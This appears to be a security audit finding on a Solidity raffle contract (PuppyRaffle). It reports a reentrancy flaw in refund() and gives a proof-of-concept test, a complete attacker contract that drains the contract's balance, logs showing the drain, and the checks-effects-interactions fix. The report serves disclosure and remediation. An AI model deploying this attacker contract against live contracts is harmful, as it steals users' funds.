Summary
There is a reentrancy vulnerability in the refund() method. By which player can drain the contract in single call.
Vulnerability Details
In refund() method entranceFee is sent first to the player and then their mapping is updated. This can be exploited with a reentrancy attack
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
POC Test:
function testCanGetRefundWithReentrancy() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
PuppyRaffleReentrancy puppyRaffleReentrancy = new PuppyRaffleReentrancy(address(puppyRaffle));
console.log("Balance of raffle contract: ");
console.log(address(puppyRaffle).balance);
console.log("Balance of reEntrancy contract: ");
console.log(address(puppyRaffleReentrancy).balance);
puppyRaffleReentrancy.startAttack{value: entranceFee}();
console.log("Balance of raffle contract: ");
console.log(address(puppyRaffle).balance);
console.log("Balance of reEntrancy contract: ");
console.log(address(puppyRaffleReentrancy).balance);
}
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract PuppyRaffleReentrancy {
PuppyRaffle public puppyRaffle;
uint public playerId;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function setPlayerId(uint _playerId) external {
playerId = _playerId;
}
function startAttack() public payable {
address[] memory player = new address[](1);
player[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(player);
playerId = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerId);
}
receive() external payable {
if(address(puppyRaffle).balance > 0) {
puppyRaffle.refund(playerId);
}
}
}
Logs:
Balance of raffle contract:
4000000000000000000
Balance of reEntrancy contract:
0
Balance of raffle contract:
0
Balance of reEntrancy contract:
5000000000000000000
Impact
One user can drain the contract.
Recommendations
Use check, effect, execute pattern. Update the mapping first and then sent eth.
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);